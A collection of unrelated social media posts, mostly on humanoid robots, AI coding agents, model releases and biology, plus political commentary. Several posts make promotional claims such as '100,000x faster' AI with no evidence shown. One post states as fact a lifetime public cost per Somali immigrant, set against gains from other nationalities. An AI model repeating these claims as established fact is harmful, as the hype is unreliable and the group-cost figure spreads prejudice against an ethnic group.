The Americans are trying to leapfrog the era of programmable robots by going straight for general intelligence robots that can do any job well without any integration. They want to do all hardware and software inhouse, and handle distribution themselves. They wish to rent the robot directly to the end customer, tomorrow.
The Alaskan wood frog freezes solid in winter with no heartbeat, no blood flow, or no breathing, and then thaws in spring alive as if nothing happened.
https://t.co/S9jICMJjHE
Xpeng is set to unveil a series of new products at its AI Tech Day on November 5th. The IRON humanoid robot will also receive a major update. CEO He Xiaopeng stated his expectation to achieve mass production of the robot in 2026. https://t.co/ELtXa8tI3u
My latest for @latimes: I travelled to southern India to document the rise of the AI "arm farms" — where young engineers strap GoPros to their foreheads and fold laundry or pack boxes to teach humanoid robots how to do chores.
https://t.co/o6dgEtbuEN https://t.co/qyBsBwzJo6
robot folks, looking to angel invest in a few more startups this year
so if you’re building something cool and physical... and you think I could be helpful, reach out, DMs open 🫡
Shenzhen robotics company Dobot has launched the Rover X1 at 7,499 RMB (about 1,050 USD). This home robot dog offers dual-vision tracking, all-terrain mobility, coding support, security patrols and companionship.
Looks like the robot dog will now cost about as much as a phone. https://t.co/FNftPc9CAY
Here, we must mention the Protoclone, the android prototype launched by the Polish company Clone Robotics in February of this year.
Protoclone features a polymer skeleton that mimics the 206 bones of a human.
Encasing the skeleton is a humanoid artificial muscle system: equipped with over 1,000 artificial muscles based on the company's "Myofiber" technology, similar to the concept of McKibbin pneumatic muscles.
These muscles mimic the function of human muscles by contracting balloons within a mesh tube filled with hydraulic fluid.
Robotics companies are hiding a dirty secret.
Their tendon-driven hands break down. It's an unsolved problem.
...all except one.
100,000 finger cycles, no motor overheating, almost zero tendon wear.
How did a tiny startup pull it off?🧵 https://t.co/VF2bBwacCV
Humanoid robots escape the high risks and hazards of special missions.
Developed by China Southern Power Grid, China Mobile, Beijing Research Institute, and Leju Robotics, the humanoid robot “Kuavo” acts as a “steel avatar” for remote engineers—
executing high-voltage inspections in hazardous zones with precision.
»Powered by 5G-A, enabling ultra-low latency remote control and real-time 20Mbps HD vision streaming.
»Achieved a 1,200 km ultra-distance test from Beijing to Shanghai with seamless operation.
»Boosted inspection efficiency by 84%, enabling fully unmanned patrols in 10kV–110kV areas.
This marks a milestone for 5G-A + embodied intelligence in power and industrial sectors,paving the way for applications in emergency rescue, chemical, and energy operations.
Everyone is sleeping on this new OCR model!
Datalab's Chandra topped independent benchmarks and beat the previously best dots-ocr.
- Support for 40+ languages
- Handles text, tables, formulas seamlessly
I tested on Ramanujan's handwritten letter from 1913.
100% open-source. https://t.co/U3IzYWPV2c
The key advantages of the thorium molten salt reactor are:
- It can't have a meltdown
- It doesn't require overpressure to work
- It doesn't produce overpressure
- It doesn't build up explosive gas (H2)
- It is passively cooled
- Most of it's waste lasts for decades instead of millennia
Salt reactors have been recognized as safe for decades. Besides material challenges, other reactor types were favored mainly because of the possibility of producing weapon-grade Plutonium.
In southwest China’s Sichuan Province, a robot dog supported firefighters on the frontline aiding suppression. A real-world look at robotics improving emergency response.
Video from 孙天豪
@TaylorOgan @ChineseEmbinUS @zhu_jingyang @olalatech1 @Ma_WuKong @Chengdu_China https://t.co/TMIcYNTkAk
Just started the LangChain Essentials course on @LangChainAI Academy and it's already amazing!
The hands-on examples are top-tier. Best part? It's FREE! Highly recommend. https://t.co/IqORD1NJrY
ROBOTIS' AI Worker, showcased at NVIDIA GTC 2025, demonstrated its beverage sorting use case and its potential applications in logistics warehouses and retail supermarkets.
This is a wheeled humanoid robot with physical AI capabilities.
It can learn factory and warehouse tasks such as wire harness assembly, welding, inspection, and sorting from human demonstrations through imitation learning and reinforcement learning.
Equipped with high-DOF dual arms and dexterous hands (16-20 DOF) and an omnidirectional chassis, it can move flexibly in complex workshops.
More importantly, it is completely open source and can be integrated with various robotic systems and business systems.
This seems like Huge AI breakthrough 👀
Scientists Created Self Evolving AI That Learns 100,000x Faster
Researchers at Osaka University’s SANKEN Institute have unveiled MicroAdapt, a revolutionary self evolving edge AI that can learn and predict in real time directly on compact devices.
This breakthrough achieves up to 100,000x faster processing and 60% higher accuracy than today’s best deep learning systems, all while running on a low power Raspberry Pi.
MicroAdapt mimics biological adaptation, it breaks down incoming data into patterns, continuously learns, evolves, and discards outdated models, giving small devices true intelligence and independence.
It could power the next generation of smart factories, autonomous vehicles, medical wearables, and more.
My coding agent workflow has really changed a lot ever since I gave them access to messaging so that they can directly communicate with each other. Now, I have one of them come up with a super detailed plan and sometimes have GPT Pro review and improve the plan in the webapp.
Then I start up 4 or 5 Codex instances in the same project folder and tell them:
"Before doing anything else, read ALL of AGENTS dot md and register with agent mail and introduce yourself to the other agents. Then coordinate on the remaining tasks left in PLAN_TO_DO_XYZ.md with the other agents and come up with a game plan for splitting and reviewing the work."
Then I can queue up a ton of the following message in codex, and it will just keep plodding along until the context gets full:
"Proceed meticulously with the plan, doing all remaining unfinished tasks systematically and continuing to notate your progress in-line in the plan document and via agent mail messages."
Then they just keep cranking on their own for a really long time. And you don't need to supervise them much so you can be juggling multiple projects like this at once and make really great progress on all of them.
🚨 BREAKING:
@dimensionalos just launched an Operating System for physical world! 🧭
Their vision is to be what Android was for phones, but for robots.
The company calls itself the “operating system for physical space.” Its universal framework lets developers build once and deploy across almost any robot, integrating with over 80% of Chinese OEM platforms.
Built by a team of roboticists and hackers from MIT, CMU, Apple, Amazon Robotics, and DJI, Dimensional offers a common “language” for programming the physical world.
Its applications are already live, in homes, hotels, factories, and construction sites, handling tasks like healthcare monitoring, security, navigation, cleaning, and spatial reasoning.
The company’s backers include Vladlen Koltun (Head of Apple Robotics) and a Google X co-founder, with founders who have previously raised over $200M across robotics projects.
Today’s robotics world is fragmented by hardware and proprietary stacks. Their vision, one OS for all robots, could be the bridge that finally unifies them.
If they pull it off, “write once, deploy anywhere” might soon apply not just to software, but to the physical world itself.
Keep rocking @stash_pomichter and team! 🔥
Sign up for the waitlist here: https://t.co/0xvhvRCBt0
This is why you don't share just everything on the web.
The vid you see here must be one of the most effective AI awareness videos. https://t.co/W2bjSATaSZ
Following their GAE model launch, Westlake Robotics just showed off a real-time kung fu demo. This means your physical avatar could handle a ton of tasks for you—maybe even step into a boxing match. 😂 https://t.co/cnpOKbMe3q
we turned a $100 stupid drone into a state-of-the-art fully autonomous drone
> constructed in 3 minutes
> only 7 lines of code
> 10 km max range
thx @miamishor for stopping by :) https://t.co/bT2eLX2pth
I've been using Claude Code for a few months now and I keep thinking about why it feels so different from everything else.
Everyone's trying to build "AI-powered" versions of existing apps. AI Photoshop. AI spreadsheets. AI whatever. More interfaces, more buttons, more layers between you and what you're actually trying to do.
Boris went the opposite direction. He put Claude in the terminal.
Most people think the terminal is this scary technical thing. And yeah, it used to be - you had to memorize commands, remember syntax, know exactly what to type.
But I realized: the terminal is just text input and text output. It's basically a chat interface. It's been sitting there the whole time, connected to everything on your computer - your files, your system, your processes.
Everything.
The problem was never the terminal. The problem was that computers only spoke computer language.
Now they speak English.
You can ask Claude Code to find a file. Clean up your desktop. Check what's using memory. Write some code. Whatever. It understands what you mean, translates it to what the computer needs, and shows you what happened.
No new app. No new operating system. Just your computer, but you can finally have a conversation with it.
I keep seeing people try to build the "AI OS" and honestly, I think they're missing the point. We don't need a new operating system. The one we have is fine. We just needed it to understand us.
That's what Boris figured out. The CLI was always the perfect interface for this. Direct access to everything. Just needed to speak human.
Watch his videos if you haven't. The clarity of thinking is rare.
Most robotics teams can make a robot move… very few can make it work every day in the real world!
@roboforce_inc was just featured in Jensen Huang’s GTC keynote, not for a demo but for a robot they claim is already working in the field.
Their system, TITAN, is built for industrial environments:
✅ 40 kg dual-arm payload
✅ millimeter-level precision
✅ 8 hours runtime
✅ early pilots in energy, logistics, and manufacturing
They call it Physical AI:
The focus is on getting robots to do the kind of labor that still depends on people: repetitive, risky, and physical.
IMO, what stands out isn’t the specs.
It’s the claim of 11,000 robot orders❗️
If even a fraction of that turns into real deployments, it would make RoboForce one of the most widely scaled robot platforms in the world!!??
The open question is whether this shift from prototype to production is real or just the next phase of robotics storytelling. It looks very promising to me.
It’s also interesting how their founder openly pushes back against the humanoid trend, arguing for wheels over legs in real industrial settings.
It’s an unusual perspective in a time when humanoids get most of the attention.
If they are right, the next humanoid robotics wave might look less like a human and more like an industrial version.
Seen at https://t.co/KCBMbqUz8x
—-
Weekly robotics and AI insights. Subscribe free: https://t.co/dsa6wcvq6n
UK-based Humanoid and German company Schaeffler have completed a proof-of-concept demonstration of a humanoid robot for bin picking.
The HMND 01 Alpha humanoid robot successfully identified, grasped, and transported metal parts in a real factory environment. It demonstrates the potential of humanoid robots to replace traditional robotic arms in flexible manufacturing scenarios, operating without a cover system or production line modifications.
Notably, last November, Schaeffler also entered into a strategic investment partnership with Agility to deploy the Digit humanoid robot in Schaeffler's global factories. This robot is primarily used for warehouse automation operations such as bin handling and stacking. Schaeffler aims to reach 100 factories by 2030. Another company, Hexagon, headquartered in Sweden, has already deployed its wheeled humanoid robot, AEON, in Schaeffler's factories.
Schaeffler is a company focused on drive technology, serving the automotive, industrial, and aerospace industries. Clearly, Schaeffler needs a large number of humanoid robots with varying capabilities to enhance the intelligent automation efficiency of its production and logistics supply chain, responding to the needs of customers across multiple industries.
Humanoid robot manufacturers that enter the Schaeffler factory can not only collect data from the real machine environment to train models and iterate hardware, but may also receive support from Schaeffler's drive technology to enhance the performance of humanoid robots.
Bipedal and Wheeled Humanoid Robots Collaborate in Factories
Shenzhen Leju Robotics has upgraded its Kuavo-5 robot with a modular design. The legs are replaceable with bipedal or wheeled configurations, and the hands are replaceable with dexterous hands, grippers, and claws. The body is rotatable, foldable, and height-adjustable, allowing for flexibility and adaptation to various tasks in factory processes. It boasts an 8-hour battery life and a maximum payload of 20kg.
For short-distance and complex terrain tasks, bipedal robots offer greater flexibility in handling scattered and complex terrain tasks.
For long-distance handling and transportation of large items, wheeled robots provide stability and efficiency.
Leju deploys these robots in its clients' automated processes, testing and collecting data in real-world environments for iterative development. Notably, Leju has established the China 's largest data acquisition center in Beijing.
UBTECH’s UQI subsidiary unveiled its "Full-Stack Unmanned Logistics Solution 2.0," integrating its Walker S2 humanoid, Chitu α delivery vehicle, and the new Wali mobile robot family (U50/C50L/F1200L).
The solution achieves a 7x24-hour non-stop, closed-loop workflow spanning “Storage – Sorting – Handling – Distribution,” operating from factory floors to e-commerce and 3PL sites. The new Wali U50/C50L robots achieve a warehouse density of 42% and a throughput of 230 boxes/hour (C50L). The Chitu α vehicle further enables indoor-to-outdoor logistics coverage.
The system is coordinated by the UPilot 2.0 OS, demonstrating the shift from “multi-machine intelligence” to “full-stack efficiency.”
KEENON Robotics just launched a comprehensive, eight-robot service team at the Shanghai Hongqiao Shangri-La Hotel, making it the first hotel to fully integrate a robot smart service system.
The deployment covers the entire service chain, featuring the XMAN-R1 humanoid for greeting/candy delivery, the heavy-duty S100 for baggage, W3 for room delivery, T-series for dining, and the C40 for multi-surface cleaning.
This systematic integration is powered by KEENON’s proprietary KOM 2.0 VLA (as a general intelligence base) and specialized KEENON ProS domain models. Hotel management noted the robots have improved efficiency, enhanced service standardization, and delivered a novel guest experience.
Everyone in robotics talks about intelligence. Almost no one talks about trust.
https://t.co/HKZxMvL6EY, formerly Kiwibot, already has more than 400 robots working across sidewalks, campuses, warehouses, and cities. Over 1.5 million real-world tasks completed in the last year alone.
If true, crazy numbers!
From what I can see, a full family of systems:
✅ delivery bots
✅ logistics movers
✅ robo-dogs, and…
✅ a humanoid??
more interesting IMO:
they seem to also focus on the human-acceptance problem. most robotics teams I see ignore this.
It looks like they understand that if people don’t trust a robot, it doesn’t matter how smart it is.
When robots work close to people, design isn’t just how it looks. It’s what helps people accept it.
📍 Interview with the founders coming soon on my podcast…
@felipekiwi90 maybemaybe? 🤞
See the full launch at https://t.co/TddovsGuYY
@garrytan We need more Nash Equilibrium collaborative games where we win together (best outcome), less Adam Smith zero sum - that's the fundamental problem, in political and computing systems.
Most people are still running scarcity scripts from a world that’s already obsolete.
What’s happening right now (in AI, in energy, in materials, in biology) is the shift from allocation to creation. But our political and cultural systems were built for managing scarcity: who gets what slice, not how to expand the pie. When those systems meet exponential tech, they panic. They see threat instead of possibility.
The tragedy is psychological: if you believe the world is zero-sum, abundance looks like chaos. But if you believe intelligence and coordination can grow, abundance looks like the next stage of civilization.
Super energized about this! With our App Builder and Workflow agents, you can now build apps and automate workflows in minutes, right in M365 Copilot chat. Here's an example. https://t.co/G6uYrdzHEI
Every day the russian aggression continues their path of death & destruction, is another day of crimes against humanity!
Daily, for years now, russians have been hunting Ukrainian civilians, farmers, first responders, aid workers, kids!
Beyond war crimes; it’s acts of genocide! https://t.co/Iv7wnSgPbW
Introducing Odyssey-2: instant, interactive AI video!
This is a general-purpose model that instantly imagines 20FPS video you can interact with in open-ended ways.
It feels like true sci-fi. Type a few words, and AI instantly imagines a video that feels alive. https://t.co/SYxCJA7jYh
This is Big
China unveils world’s first refrigerator sized supercomputing unit, "the world’s first brain like intelligent computing system."
The device compresses supercomputer level performance into a refrigerator sized unit, featuring 1,152 CPU cores, 4.8 TB of DDR5 memory, and 204 TB of storage.
It operates quietly (under 45 dB) and uses only 1/10th the power of conventional supercomputers.
Its breakthrough lies in an intuitive neural network and brain like algorithm that combines numerical and symbolic reasoning, allowing it to explain its decisions, learn continuously, and process multimodal data (text, images, sound).
In testing, it trained models with 10s of billions of tokens in 30 hours and achieved training speeds of 100,000 tokens/sec rivaling multi GPU clusters.
Chery's Mornine isn't a much-discussed humanoid robot, but it's already being used as a shopping guide in 4S dealerships in over 30 countries.
This video marks Chery's first public sharing of its humanoid robot technology. What impressed me most was the camera on Mornine's palm and built-in pressure sensors in its fingers, enabling it to see and sense things clearly, enabling precise decision-making and operations. Figure's latest humanoid robot, Figure03, also has a luminous camera on its palm.
Does this mean that future humanoid robots will all have cameras on their palms?
And here's Mornine's true appearance without her futuristic glasses. Her large eyes exude a sense of depth, and 15 degrees of freedom on her face allow her to express a variety of realistic emotions.
I speculate that Mornine's glasses make it easier for people to quickly identify her as a humanoid robot. On the other hand, to be honest, Mornine still has a strong sense of creepiness. Wearing glasses obscures the uncanny valley effect that occurs when people look at her large eyes for extended periods of time, and this effect is even more pronounced with the Unitree H2.
This is a humanoid robot currently serving a customer. In the future, it may become even softer, more comfortable, and more intelligent. After all, Chery hopes to see it enter the homes of Chery owners.
A lot of people say AI will make us all "managers" or "editors"...but I think this is a dangerously incomplete view!
Personally, I'm trying to code like a surgeon.
A surgeon isn't a manager, they do the actual work! But their skills and time are highly leveraged with a support team that handles prep, secondary tasks, admin. The surgeon focuses on the important stuff they are uniquely good at.
My current goal with AI coding tools is to spend ~100% of my time doing stuff that matters. (As a UI prototyper, that mostly means tinkering with design concepts.)
It turns out there are a LOT of secondary tasks which AI agents are now good enough to help out with. Some things I'm finding useful to hand off these days:
- Before attempting a big task, write a guide to relevant areas of the codebase
- Spike out an attempt at a big change. Often I won't use the result but I'll review it as a sketch of where to go
- Fix typescript errors or bugs which have a clear specification
- Write documentation about what I'm building
I often find it useful to run these secondary tasks async in the background -- while I'm eating lunch, or even literally overnight!
When I sit down for a work session, I want to feel like a surgeon walking into a prepped operating room. Everything is ready for me to do what I'm good at.
---
Notably, there is a HUGE difference between how I use AI for secondary vs primary tasks.
For the core design prototyping work, I still do a lot of coding by hand, and when I do use AI, I'm more careful and in the details. I need fast feedback loops and good visibility. (eg, I like Cursor tab-complete here)
Whereas for secondary tasks, I'm much much looser with it, happy to let an agent churn for hours in the background. The ability to get the job done eventually is the most important thing; speed and visibility matter less. Claude Code has been my go-to for long unsupervised sessions but Codex CLI is becoming a strong contender there too, possibly my new favorite.
These are *very* different work patterns! Reminds me of @karpathy's "autonomy slider" concept. It's dangerous to conflate different parts of the autonomy spectrum -- the tools and mindset that are needed vary quite a lot.
---
The "software surgeon" concept is a very old idea -- Fred Brooks attributes it to Harlan Mills in his 1975 classic "The Mythical Man-Month". He talks about a "chief programmer" who is supported by various staff including a "copilot" and various administrators.
OK, so there is a super obvious angle here, that "AI has now made this approach economically viable where it wasn't before", yes yes...
But I am also noticing a more subtle thing at play, something to do with status hierarchies.
A lot of the "secondary" tasks are "grunt work", not the most intellectually fulfilling or creative part of the work. I have a strong preference for teams where everyone shares the grunt work; I hate the idea of giving all the grunt work to some lower-status members of the team. Yes, junior members will often have more grunt work, but they should also be given many interesting tasks to help them grow.
With AI this concern completely disappears! Now I can happily delegate pure grunt work. And the 24/7 availability is a big deal.
I would never call a human intern at 11pm and tell them to have a research report on some code ready by 7am... but here I am, commanding my agent to do just that!
---
Finally I'll mention a couple thoughts on how this approach to work intersects with my employer, @NotionHQ
First, as an employee, I find it incredibly valuable right now to work at a place that is bullish on AI coding tools. Having support for heavy use of AI coding tools, and a codebase that's well setup for it, is enabling serious productivity gains for me -- *especially* as a newcomer to a big codebase.
Secondly, as a product -- in a sense I would say we are trying to bring this way of working to a broader group of knowledge workers beyond programmers. When I think about how that will play out, I like the mental model of enabling everyone to "work like a surgeon".
The goal isn't to delegate your core work, it's to identify and delegate the secondary grunt work tasks, so you can focus on the main thing that matters.
Finally! A Text-to-SQL tool that actually works!
Vanna is an open-source RAG framework for complex Text-to-SQL generation. It manages dynamic data and allows custom RAG model training for greater accuracy.
100% open-source. https://t.co/sZwe2iaE6y
💻 I just wanted to show how easy it is getting a GPU in the regular way compared to the 🇪🇺 EU's "AI Factory" plan where you have to apply for a proposal
Funnily enough @LambdaAPI actually shows "Design your AI Factory" on their landing, maybe they're trying to get that juicy EU money too (but I don't think they have servers in EU anyway)
So I sign up/login, select what GPU I want, like 8x H100s, which is $24/hour, select the location, add a filesystem and launch the server
Then about 5 minutes later, I have a running 8x H100 cluster, with a Jupyter notebook ready with Terminal access and I can see and work with my GPUs!
And no Lambda did not ask me if I was mindful of "Individual, and Social and Environmental Well-Being", and I did not need to apply to some proposal, and wait months.
They just gave me a GPU to build a business on, within 5 minutes, as it should be!
If the EU wants to help AI startups, the infrastructure is already there! Just fund/subsidize GPU rent prices for European citizens and businesses on existing European hosting companies like @Hetzner_Online or @OVHcloud that already have GPUs (where the process of getting a server is pretty much the same as Lambda btw)
For example, a 8x H100 is $24/hour now but with EU's funding could be $12/hour, giving European startups an unfair advantage to compete with the rest of the world for training and inference (generating)
Personally I don't think you should mess with the market like that, but this was the EU's intention, so then do it properly!
I thought about it in the shower this morning and realized I guess the fundamental problem in the EU is they just don't respect technology or the people making it. And they don't listen to them like they do elsewhere in for example US or China. You have lots of European founders who'd tell you the same I tell you here, but they're never heard by the EU either
In the US you have the top tech CEOs and founders at dinner with the president regularly to advise him and it feels more properly run and they actually listen to smart people
In China you have essentially technocrats running the country and fair you can disagree with their system (see Jack Ma etc. not great oaky) but they do understand tech as we can see from how fast they progress and deploy it
But the EU just never listens to skilled people, it's always design by committee by midwits and the EU is just systemically rekt like that. It's not a meritocracy at all
But I'm a European and an eternal optimist, so maybe we can help improve it by telling them how to do it then (like this tweet)
See how easy it could be @vonderleyen
Sequoia's Chief Product Officer, @jesskah, won't hire well-rounded people.
She looks for a "spikes" in 1 of 4 traits that predict success:
• EQ: One-on-one people skills
• IQ: Raw intellectual horsepower
• PQ: Ability to navigate politics/systems
• JQ: Judgment on decisions that matter
In this week's episode of The Library of Minds, we went deep on how this framework shaped her journey from Google PM to Polyvore CEO to Sequoia’s Chief Product Officer. Jess explains why velocity is the strongest early predictor of product-market fit, how choosing the wrong business model was her biggest mistake as a founder, and why she now believes AI will spark a new wave of consumer media.
00:00 Intro
1:00 Who is Jess Lee
02:50 The EQ / IQ / PQ / JQ framework
03:44 What early Google taught her
05:35 When ambition becomes a weakness
07:34 Customer discovery vs visionary intuition
09:31 Polyvore: from user → CEO
12:37 Imposter syndrome & finding authentic leadership
15:20 Picking the wrong market
18:24 Firing fast & setting high performance bars
20:12 Building cult-like community and emotional loyalty
22:13 Velocity vs delight in product
24:32 What she looks for in founders (turn-based velocity)
25:59 The business model wake-up call
27:27 Storytelling as a founding superpower
28:26 Hot take: consumer isn’t dead, it’s being reborn
31:50 AI-generated media, fanfic, and the next YouTube
Grateful to be working with her at @withdelphi !
Building an agent that can generate an entire interactive course from a PDF/textbook 🤯
The way it works: I have pre-built components (Q&A, drag & match, flowchart, info bubble, ect...) that can be invoked through tool calls.
Here's the full workflow:
1. The agent will first parse the material passed in (can either remain in context if small or be embedded if big)
2. Agent will then decide on a good structure for the lesson (will be given a few good examples for reference)
3. Through tool calling, it will be able to select the right components now that it has a lesson structure. It will also pass in the relevant params to the components (like generated questions or content for a flowchart).
4. The finished lesson gets handed off to a Lesson Reviewer agent for a final check against source material
5. Lesson gets created & is able to be sent to others
This app will be built with open source LLMs from @togethercompute and will be free & open source!
I think this will turn out to be one of my most interesting apps. Let me know if y'all want to see a guide on how I built it as well!
1/ Ukraine’s war effort isn’t just about soldiers and weapons — it’s increasingly powered by data.
Data is aiding Kyiv's asymmetrical war effort.
From drones to digital tracking systems, Ukraine is using information to fight smarter and hit harder.
🧵 https://t.co/tAcNGbnoEB
On olmOCR-Bench, olmOCR 2 scores 82.4 points, up from 78.5 in our previous release—increasing performance across every document category. 📈 https://t.co/e3Jhj2msxQ
.@ManusAI 1.5 just dropped and it redefines AI autonomy.
It doesn’t just generate code - it ships products.
The new WebDev engine creates a full-stack site (frontend + backend + database + analytics + domain) from a single instruction.
This example was 1-shotted with a single prompt!:
Jensen Huang: “The best career advice I got was from a gardener”
“Very few people know this but I don’t wear a watch,” Nvidia founder Jensen Huang begins. “And the reason I don’t wear a watch is because now is the most important time. Just dedicate yourself to now.”
Jensen explains by telling a story:
“The best career advice I got was from a gardener. I was on a family trip in Kyoto, and we went to the temple that had the largest moss collection in the world . . . All of the moss is perfect, and every species of the world’s moss is there. It was a hot summer day — anybody who’s been to Kyoto knows how incredibly hot it is during the summer — and my family walked by this old man who was squatted down working on the moss with a bamboo tweezer. His bamboo basket was nearly empty with only two or three small pieces of dead moss.”
“What are you doing?” Jensen asked the old man.
“I am taking care of my garden,” the old man replied.
The old man told Jensen that he has been working on the garden for almost 30 years.
“But this garden is so big and your tweezer and basket are so small. How can you take care of the whole garden?” Jensen asked.
“I have plenty of time,” said the old man.
Jensen reflects:
“That’s the best career advice I can give you. Most of the time I wait for things to come to me. I’m rarely chasing things. I don’t have a watch. I’m focused on now. I’m enjoying my job. I’m the longest-running tech CEO in the world . . . Dedicate yourself to learning all the time, doing the best possible work you can, and leave everything on the field. By the time I go to bed I’m exhausted, and I’m happy about my day because I did everything I could . . . You’ll be surprised. I’m not at all ambitious. I don’t aspire to do more. I aspire to do better at what I’m currently doing. I’m not reaching for more. I wait for the world to come to me.“
He continues:
“People who know me also know that Nvidia doesn’t have a long-term strategy. We have no long-term plan. Our definition of a long-term plan is, ‘What are we doing today?’ . . . You have plenty of time. Enjoy your work. Do the best you possibly can. Just keep learning every day, and good things will come to you.”
John Carmack explains how he applies Nassim Taleb's "anti-fragile" concept to his work, enjoying the thrill of new ideas while accepting that many won't succeed.
Source: Deep Thoughts Engineering Speaker Series: John Carmack https://t.co/zVZTaW1Bkw
everyone’s obsessed with humanoid robots right now; and for good reason.
the humanoid form isn’t about copying humans, it’s about compatibility with a world built for humans.
doors, stairs, shelves, tools; everything is designed around our dimensions.
if a robot can move, balance, and manipulate like us, it can work where we work.
that’s why every major robotics company is chasing this:
tesla optimus, figure 01, agibot, unitree, apptronik; all different hardware, same endgame.
once humanoids reach cost-efficiency and reliability, the entire labor system changes.
they’ll start in factories, move to logistics, and eventually, homes.
it’s not sci-fi anymore; it’s just engineering and economics racing each other.
While AWS is down I'm sitting here with my $4 Hetzner VPS, self-hosted landing pages and even self-hosted Supabase pulling 100k+ Steam requests per day without a single interruption.
People have no idea how powerful it is to be in control of your own infrastructure.
I could literally boot up an old PC with one of the daily backups and continue to run uninterrupted even if Hetzner went down.
Might make a guide for this at some point. Everything is way too centralized today.
Everyone knows Gaussian Splatting is the future of 3D:
but user friendly editing solutions are still in their infancy. We want creators to take advantage of 3DGS now!
That's why we made our 3DGS Blender addon free and open source.
This week we'll be adding even more modifiers and tools to it's arsenal, including this Auto Crop function for quickly clearing background points.
In the Netherlands they’ve made the data public: each Somali immigrant has been found to cost the public about $1.2 million over their lifetime, while each North American and Japanese immigrant generated a net contribution of roughly $500,000. https://t.co/9mv59rwI99
This tool lets you scrape any documentation page and converts it into a Claude skill you can add to web, app, and Claude Code
(Somebody should make a hosted version of this!)
Lets see how links in the main post go on the new X…
https://t.co/zaT2g5j5qE https://t.co/rE2Nz3W6tY
karpathy by far has the best and most sober takes on AI progress in the community. super careful with what he says and how he articulates it and he isn’t too bearish or bullish. i agree with almost everything he’s saying
Wow Microsoft just announced Copilot Actions for local files 🤯
You can basically ask Copilot to perform any task on your machine autonomously. Yes.
- Open Copilot in Windows
- Assign a goal in natural language
- Copilot launches a contained environment
- It works autonomously for you
Copilot can use both your desktop and any web app.
And you can take back control at any time.
This allows you to do whatever you want while the AI performs your tasks... or even do nothing at all.
The entire OS becomes agentic. Impressive.
Claude now connects to Microsoft 365.
Claude can search for information in SharePoint, OneDrive, Outlook and Teams, providing tailored responses seamlessly. https://t.co/1uutMmcB2j
This is my wtf moment of the week.
I just discovered alphaxiv (a bit ashamed of not finding it sooner). The range of features is insane.
> lists the hot papers of the day
> allows you to ask AI about it
> even generate a podcast about it like NotebookLM
No cap, just value. https://t.co/dzet95o73u
1/ Russia’s war in Ukraine isn’t just about Europe — it’s the testing ground for an authoritarian tech alliance spanning Russia, China, Iran, North Korea, and Venezuela.
Here’s how these regimes are learning and arming together.
🧵 https://t.co/uLqlMicYpp
Everyone wants to get into robotics.
No one knows where to start.
LeRobot's Francesco just dropped a 70-page crash course that takes you from zero to cutting-edge:
- RL sim/real
- ACT, Diffusion policies
- VLAs, SmolVLA, Pi-0
Absolute gold if you want to catch up fast.
German robotics company NEURA Robotics has created NEURA Gym: a large-scale, physical AI gym and training ground where hundreds of robots, including the humanoid 4NE-1, learn through real-world interactions. The company is collaborating with the Neuraverse ecosystem to create the world's largest repository of physical training data, promoting the application of humanoid robots.
This is the power of YOLO, trained on a laptop for ~1 hour, with a Kaggle dataset.
Oh, and just ~100 lines of Python. I can make a startup on this and it took me literally a couple of hours. https://t.co/qGFubvex1T
Excited to release new repo: nanochat!
(it's among the most unhinged I've written).
Unlike my earlier similar repo nanoGPT which only covered pretraining, nanochat is a minimal, from scratch, full-stack training/inference pipeline of a simple ChatGPT clone in a single, dependency-minimal codebase. You boot up a cloud GPU box, run a single script and in as little as 4 hours later you can talk to your own LLM in a ChatGPT-like web UI.
It weighs ~8,000 lines of imo quite clean code to:
- Train the tokenizer using a new Rust implementation
- Pretrain a Transformer LLM on FineWeb, evaluate CORE score across a number of metrics
- Midtrain on user-assistant conversations from SmolTalk, multiple choice questions, tool use.
- SFT, evaluate the chat model on world knowledge multiple choice (ARC-E/C, MMLU), math (GSM8K), code (HumanEval)
- RL the model optionally on GSM8K with "GRPO"
- Efficient inference the model in an Engine with KV cache, simple prefill/decode, tool use (Python interpreter in a lightweight sandbox), talk to it over CLI or ChatGPT-like WebUI.
- Write a single markdown report card, summarizing and gamifying the whole thing.
Even for as low as ~$100 in cost (~4 hours on an 8XH100 node), you can train a little ChatGPT clone that you can kind of talk to, and which can write stories/poems, answer simple questions. About ~12 hours surpasses GPT-2 CORE metric. As you further scale up towards ~$1000 (~41.6 hours of training), it quickly becomes a lot more coherent and can solve simple math/code problems and take multiple choice tests. E.g. a depth 30 model trained for 24 hours (this is about equal to FLOPs of GPT-3 Small 125M and 1/1000th of GPT-3) gets into 40s on MMLU and 70s on ARC-Easy, 20s on GSM8K, etc.
My goal is to get the full "strong baseline" stack into one cohesive, minimal, readable, hackable, maximally forkable repo. nanochat will be the capstone project of LLM101n (which is still being developed). I think it also has potential to grow into a research harness, or a benchmark, similar to nanoGPT before it. It is by no means finished, tuned or optimized (actually I think there's likely quite a bit of low-hanging fruit), but I think it's at a place where the overall skeleton is ok enough that it can go up on GitHub where all the parts of it can be improved.
Link to repo and a detailed walkthrough of the nanochat speedrun is in the reply.
Google just built an AI that organizes itself.
It’s called TUMIX, and it might be the most interesting paper Google has published this year.
Instead of training a bigger model, the team built a system where multiple AIs work together at test time. Each agent uses different tools one writes code, another runs searches, another reasons in plain text.
They solve the same problem independently, share answers, and refine them over several rounds until the group reaches a consensus.
The results are insane. Gemini-2.5 running TUMIX beats every other reasoning setup by up to +17.4%, and it does it at roughly half the inference cost. No retraining, no new data just smarter coordination.
What’s surprising is what actually drives the gains. It isn’t scale. It’s diversity. A team of 15 different agents outperformed 15 copies of the single “best” one.
When Gemini was asked to design its own new agents, performance jumped again. The system effectively evolved better versions of itself.
This changes how we think about AI progress. We’ve spent years scaling up monolithic models, but TUMIX shows that intelligence can come from organization, not just size.
The next leap in reasoning might not be a trillion-parameter model it might be a network of smaller ones learning how to think together.
15 years in the making, we confirmed that mitochondria -the powerhouse of the cell- have an unusual localization in patients who experience psychosis (including schizophrenia and bipolar disorders). You’ll never guess what kind of patient cells we used to make this discovery...🧵 https://t.co/hfyQJgwvTR
Nick Lane thinks that half of the 20 billion Earth-like planets in the Milky Way will spontaneously generate early organics like nucleotides and amino acids. Because the chemistry which leads to their formation is so favored.
But then where are all the aliens?
The bottleneck to complex life, in his view, are eukaryotes.
All the complex life you see around you is made of eukaryotic cells. Eukaryotic cells are typically 1000x bigger in volume and genome size.
The key advantage eukaryotes have is that the mitochondrial genome is distinct from the nuclear genome.
Respiration requires the relevant genes to be right there on site. For bacteria, respiration happens on the cell surface. If a bacterial cell were to expand, it would need to copy its entire genome across the entire membrane many, many times over.
If a eukaryotic cell wants to get bigger, it just needs more mitochondria, which means it only needs to copy the mitochondrial genome (much much smaller than the full nuclear genome).
